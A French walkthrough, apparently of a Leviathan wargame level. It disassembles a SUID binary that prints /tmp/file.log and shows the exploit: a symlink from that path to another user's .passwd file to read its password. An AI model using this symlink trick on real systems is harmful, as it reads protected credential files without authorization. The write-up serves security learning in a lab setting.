Hop, dès qu’on est connecté level3 on file dans le répertoire /wargame, vu qu’il n’y a rien dans le dossier home.
Une fois dans ce répertoire, et après l’avoir listé, on voit que le binaire prog est SUID level3 et level4, c’est donc notre cible.
1
2
| level3@leviathan:/wargame$ ./prog
Cannot find /tmp/file.log |
Apparament le binaire essaie d’ouvrir le fichier file.log dans le répertoire /tmp.
Pour confirmer on peut désassember le binaire, mais ce n’est vraiment pas nécessaire.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
| 8048564: e8 07 ff ff ff call 8048470 <fopen@plt>
8048569: 89 45 f4 mov %eax,0xfffffff4(%ebp)
804856c: 83 7d f4 00 cmpl $0x0,0xfffffff4(%ebp)
8048570: 75 18 jne 804858a <main+0x46>
8048572: c7 04 24 08 87 04 08 movl $0x8048708,(%esp)
8048579: e8 a2 fe ff ff call 8048420 <puts@plt>
804857e: c7 04 24 ff ff ff ff movl $0xffffffff,(%esp)
8048585: e8 d6 fe ff ff call 8048460 <exit@plt>
804858a: 8b 45 f4 mov 0xfffffff4(%ebp),%eax
804858d: 89 04 24 mov %eax,(%esp)
8048590: e8 4b fe ff ff call 80483e0 <fgetc@plt>
8048595: 88 45 fb mov %al,0xfffffffb(%ebp)
8048598: 8b 45 f4 mov 0xfffffff4(%ebp),%eax
804859b: 89 04 24 mov %eax,(%esp)
804859e: e8 4d fe ff ff call 80483f0 <feof@plt>
80485a3: 85 c0 test %eax,%eax
80485a5: 75 0e jne 80485b5 <main+0x71>
80485a7: 0f be 45 fb movsbl 0xfffffffb(%ebp),%eax
80485ab: 89 04 24 mov %eax,(%esp)
80485ae: e8 5d fe ff ff call 8048410 <putchar@plt>
80485b3: eb d5 jmp 804858a <main+0x46>
80485b5: 8b 45 f4 mov 0xfffffff4(%ebp),%eax
80485b8: 89 04 24 mov %eax,(%esp)
80485bb: e8 90 fe ff ff call 8048450 <fclose@plt>
80485c0: e8 7b fe ff ff call 8048440 <getuid@plt>
80485c5: 89 04 24 mov %eax,(%esp)
80485c8: e8 b3 fe ff ff call 8048480 <setuid@plt>
80485cd: c7 04 24 fa 86 04 08 movl $0x80486fa,(%esp)
80485d4: e8 27 fe ff ff call 8048400 <unlink@plt> |
Pour résumer, on lit un caractère (fgetc()) et on l’affiche (putchar()) tant qu’on est pas à la fin du fichier.
étant donné que le binaire est SUID level4 il nous permet de lire des fichiers SUID level4, et comme le fichier /home/level4/.passwd appartient à level4, il nous reste qu’à faire un lien dessus et le tour est joué
1
| ln -s /home/level4/.passwd /tmp/file.log |
Voilà, on ré-execute le binaire et on a le password
next?lol